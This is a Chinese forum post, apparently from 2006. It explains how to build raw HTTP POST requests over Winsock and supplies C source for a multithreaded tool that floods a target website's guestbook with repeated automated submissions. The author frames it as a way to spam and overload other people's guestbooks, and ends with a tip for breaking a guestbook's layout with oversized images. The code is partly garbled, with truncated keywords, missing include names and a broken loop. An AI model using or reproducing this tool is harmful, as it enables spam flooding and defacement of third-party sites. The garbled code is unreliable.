BYsan

 找回密碼
 成為會員
搜索
熱搜: 活動 交友 discuz
查看: 2332|回復: 0

用Winsock实现对网站数据库的数据注入

[複製鏈接]
發表於 2006-7-19 16:47:18 | 顯示全部樓層 |閱讀模式
用Winsock实现对网站数据库的数据注入

在写这篇文章之前,有必要对“注入”一词阐述一下。区别于通常的SQL注入,这里的注入实际上只是构造HTTP请求报文,以程序的方式代替WEB提交页面,实现数据的自动提交。嘿嘿,说到这,我看到你诡异的笑容了,我们只要写个循环,用什么语言你说了算,向特定的WEB页面发送HTTP报文,只要几分钟,呵呵他的本本就爆了,而且……嘿、嘿、嘿……偶喝杯茶,接下再写。  

    首先,还是温习一下HTTP协议吧。我们在打开一个网站时,比如说http://www.163.com,实际上IE作为一个客户端,它将向服务器发送如下的请求报文(偶用sniffer截得的):  

GET / HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-  
powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*  
Accept-Language: zh-cn  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)  
Host: www.163.com  
Connection: Keep-Alive  
Cookie: NETEASE_SSN=jsufcz; NETEASE_ADV=11&22; Province=0; City=0; NTES_UV_COOKIE=YES  

我们看到在以上的报文中,有很多字段,当然其中有很多并不是必须的,如果我们自己编程,只关心必要的就行了。在HTTP/1.1协议中规定了最小请求消息由方法字段(GET/POST/HEAD)和主机字段(HOST)构成。如上面的  
GET / HTTP/1.1  
HOST:www.163.com  
但在HTTP/1.0中,HOST字段并不是必须的,这里为什么不能省,相信你也知道,不晓得的话也不打紧,接下来看。  

    为了向服务器发送数据,浏览器通常采用GET或POST方法向服务器提交报文。服务器在收到报文之后,解码分析出所需的数据并进行处理,最后返回结果。通常我们可以见到诸如http://xxx.xxx.xxx.xxx/show.asp?id=xxx的URL请求,我们可以自己构造如下的报文来完成  

GET /show.asp?id=xxx HTTP/1.1  
HOST:xxx.xxx.xxx.xxx  

受URL长度1024的限制,采用GET方法只能提交少量的数据,假如我们在录入一篇文章时,这时就只能用到POST方法了。在讲解POST方法的一些要点之前,还是让大家来看一段POST请求报文,以致对POST报文有个大致的了解。(下面是我向某本本的留言,偶照样用sniffer截下来了)  

POST /gbook/add.php HTTP/1.1  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-  
powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwav  
e-flash, */*  
Referer: http://218.76.65.47/gbook/add.php  
Accept-Language: zh-cn  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)  
Host: 218.76.65.47  
Content-Length: 115  
Connection: Keep-Alive  

name=test&email=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&passw  
ord=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4  

与GET方法相比,在字段下面多了一段内容,这就是我们向留言本提交的数据,如果有中文须经过urlencode编码。同样让我们省去不必要的字段,构造一个最小的POST请求  

POST /gbook/add.php HTTP/1.1  
Host: 218.76.65.47  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 115  

name=test&email=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&passw  
ord=&doadd=%B7%A2%CB%CD%C1%F4%D1%D4  

上面的Content-Type字段表示为POST表单型的,Content-Length当然就是表示实体数据的长度了,这里都不能少,不然就无法正确接收了。这样,服务器端处理页面就会收到你提交的数据,并接收处理,如果是留言本的话就写入数据库了。若以很快的速度向某个本本发送这样的报文,实际上那个本本己经被你狂灌水了。  

    呜呜呜,看上面偶都不知道讲了些什么,乱不拉几的,就是偶也想尽量讲得清楚点,无耐高考语文没及格,就成这样了咯,还望哥哥姐姐们见谅见谅。讲了客户端的发送,接下来就该讲服务器的接收问题了。  

    当报文数据到达服务器后,服务器底层进程进行接收并放入特定的缓冲区,同时置一些环境变量,如“CONTENT_LENGTH“、”QUERY_STRING“等,当然这其间还是屏蔽了一些底层细节的,如客户端提交的数据是怎么被重置到被请求页的标准输入的,偶也弄不清楚,嘿嘿要能弄清楚了,偶就写操作系统去。之后高层应用程序如CGI、ASP、PHP等对其进行数据提取,其中CGI还须自己进行Unencode解码和字符串提取。假如向一ASP本本写留言,我提交了姓名(name)和内容(body)字段,且采用POST表单方式提交,在ASP程序中应如下进行接收:  
name=request.form("name")  
body=request.form("body")  
并添加到数据库中  
rs.addnew  
rs("name")=name  
rs("body")=body  
rs.update  

    到此,该讲的也基本上讲完了,但有一点还要注意下,在发送报文时,在实体内容中还须加入提交按钮的“name=value“URLEncode编码,否则有可能不会写入数据库,Why ?I am finding the reason!  

   

   

以下是相关的源代码:  
代码: [拷贝到剪切板]  
/*    encode.h    */  

/* Unencode URL编码函数 */  
/*  
在这里要注意,编译器在处理中文字符时,会自动根据字符的位7来读入一个  
或两个字符,这时可以强制采用unsigned char *来读入一个字符。  
*/  

int isT(char ch)  
{  
    if(ch==’ ’||ch==’%’||ch==’/’||ch&0x80) retu
1;  
    else retu
0;  
}  

int encode(char *s,char *d)  
{  
    if(!s||!d) retu
0;  
    for(;*s!=0;s++)  
    {  
        unsigned char *p=(unsigned char*)s;  
        if(*p==’ ’)  
        {  
           *d=’%’;  
       *(d+1)=’2’;  
       *(d+2)=’0’;  
       d+=3;  
        }  
        else if(isT(*p))  
        {  
            char a[3];  
            *d=’%’;  
            sprintf(a,"%02x",*p);  
            *(d+1)=a[0];  
            *(d+2)=a[1];  
            d+=3;  
        }  
        else  
        {  
            *d=*p;  
            d++;  
        }  
    }  
    *d=0;  
    retu
1;  
}  


/* Unencode URL解码函数 */  

int unencode(char *s,char *d)  
{  
    if(!s||!d) retu
0;  
    for(;*s!=0;s++)  
    {  
        if(*s==’+’)  
        {  
            *d=’ ’;  
            d++;  
        }  
        else if(*s==’%’)  
        {  
            int code;  
            if(sscanf(s+1,"%02x",&code)!=1) code=’?’;  
            *d=code;  
            s+=2;  
            d++;  
        }  
        else  
        {  
            *d=*s;  
            d++;  
        }  
    }  
    *d=0;  
    retu
1;  
}  

/*  booksend.cpp  */  

/*    报文发送程序    */  

#include   
#include   
#include "encode.h"  
#include   

#pragma comment(lib,"ws2_32.lib")  

int checkpra(int argc,char *argv[]);  
void usage();  
DWORD WINAPI senddata(LPVOID lp);  

char ip={0};  
USHORT port=0;  
char page[128]={0};  
char value[1024]={0};  
int ttime=1;  
int delaytime=2000;  
SOCKET sock;  
struct sockaddr_in sin;  
char sendbuf[1024*4]={0};  

void main(int argc,char *argv[])  
{  
    if(checkpra(argc,argv)==-1) retu
;  

    WSADATA wsa;  
    if(WSAStartup(0x0202,&wsa)!=0)  
    {  
        printf("WSAStartup failed with error:%dn",GetLastError());  
        retu
;  
    }  

    sin.sin_family=AF_INET;  
    if(inet_addr(ip)!=INADDR_NONE)  
        sin.sin_addr.s_addr=inet_addr(ip);  
    else  
    {  
        struct hostent *phost=gethostbyname(ip);  
        if(phost==NULL)  
        {  
            printf("Resolve %s error!n",ip);  
            retu
;  
        }  
        memcpy(&sin.sin_addr,phost->h_addr_list[0],phost->h_length);  
    }  
    sin.sin_port=htons(port);  

    char tempbuf[1024]={0};  
    sprintf(tempbuf,"POST %s HTTP/1.1n",page);  
    strcpy(sendbuf,tempbuf);  
    memset(tempbuf,0,sizeof(tempbuf));  
    sprintf(tempbuf,"HOST: %sn",ip);  
    strcat(sendbuf,tempbuf);  
    strcat(sendbuf,"Accept: image/gif, */*n");  
    strcat(sendbuf,"Content-Type: application/x-www-form-urlencodedn");  
    memset(tempbuf,0,sizeof(tempbuf));  
    sprintf(tempbuf,"Content-Length: %dn",strlen(value));  
    strcat(sendbuf,tempbuf);  
    strcat(sendbuf,"Connection: Keep-Alivenn");  
    strcat(sendbuf,value);  

    for(int i=0;i     {  
        CreateThread(NULL,0,senddata,&i,0,NULL);  
        Sleep(delaytime);  
    }  
    WSACleanup();  
}  

DWORD WINAPI senddata(LPVOID lp)  
{  
    SOCKET sock=socket(AF_INET,SOCK_STREAM,0);  
    if(sock==INVALID_SOCKET)  
    {  
        printf("Socket() failed with error:%dn",GetLastError());  
        retu
-1;  
    }  
    int ret;  
    printf("State:Connecting...n");  
    ret=connect(sock,(struct sockaddr*)&sin,sizeof(sin));  
    if(ret==SOCKET_ERROR)  
    {  
        printf("Connect() failed with error:%dn",GetLastError());  
        retu
-1;  
    }  
    printf("State:Connected!n");  
    printf("State:Sending...time %d ",*(int*)lp+1);  
    ret=send(sock,sendbuf,strlen(sendbuf)+1,0);  
    if(ret>0)  
        printf("Send success!n");  
    else  
        printf("Send error!n");  

    char recvbuf[1024*10]={0};  
    ret=recv(sock,recvbuf,sizeof(recvbuf),0);  
    if(strstr(recvbuf,"100")||strstr(recvbuf,"200")||strstr(recvbuf,"302"))  
        printf("呵呵,注入成功啦!nn");  
    else  
        printf("注入有点问题哦,请查实一下!nn");  
    closesocket(sock);  
    retu
1;  
}  

void usage()  
{  
    char pathname[128]={0};  
    GetModuleFileName(NULL,pathname,sizeof(pathname));  
    char *p=pathname+strlen(pathname)-1;  
    for(;*p!=’’;p--);  
  printf("-------------------------------------------------------------------------------n");  
  printf("Usage:%s ip port page value [times] [delay]n",p+1);  
  printf("Code by JsuFcz--http://jsufcz.21xcn.netn");  
  printf("Ex:%s 10.0.0.169 80 /guestbk/add.php name=abc-body=hehe-doadd=发送留言",p+1);  
  printf("-------------------------------------------------------------------------------n");  
}  

int checkpra(int argc,char *argv[])  
{  
    if(argc<5)  
    {  
        printf("&#38169;&#35823;的用法:至少&#24212;使用4&#20010;&#21442;&#25968;nn");  
        usage();  
        retu
-1;  
    }  
    else if(argc>6)  
    {  
        printf("&#38169;&#35823;的用法:最多只有6&#20010;&#21442;&#25968;nn");  
        usage();  
        retu
-1;  
    }  
    if(argc==6)  
    {  
        ttime=atoi(argv[5]);  
    }  
    if(argc==7)  
    {  
        ttime=atoi(argv[5]);  
        delaytime=atoi(argv[6]);  
    }  
    strcpy(ip,argv[1]);  
    port=atoi(argv[2]);  
    strcpy(page,argv[3]);  
    for(int i=0;argv[4]!=0;i++)  
    {  
        if(argv[4]==’-’) argv[4]=’&’;  
        if(argv[4]==’’’) argv[4]=’ ’;  
    }  
    encode(argv[4],value);  
    retu
0;  
}  
  


    以上代&#30721;已在VC6上&#32534;&#35793;通&#36807;,你也可以到本人&#20010;人主&#39029;上下&#36733;到源代&#30721;和命令行程序。  

    在文章的最后,偶&#36824;有一&#28857;心得要与大家分享。在留言本中如果有提交表情或是&#22270;片之&#31867;的,由于本本的相&#23545;&#38142;接的限制,只要是本本目&#24405;下的&#22270;片&#36164;源,偶&#20204;就可以&#38543;便拿&#26469;&#36148;,&#36825;&#26679;如果某&#20010;&#22270;片的&#23613;寸很大的&#35805;,本本的版面就被你弄坏了。
您需要登錄後才可以回帖 登錄 | 成為會員

本版積分規則

小黑屋|手機版|Archiver|BYsan

GMT+8, 2024-5-3 11:39 PM , Processed in 0.048627 second(s), 15 queries .

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回復 返回頂部 返回列表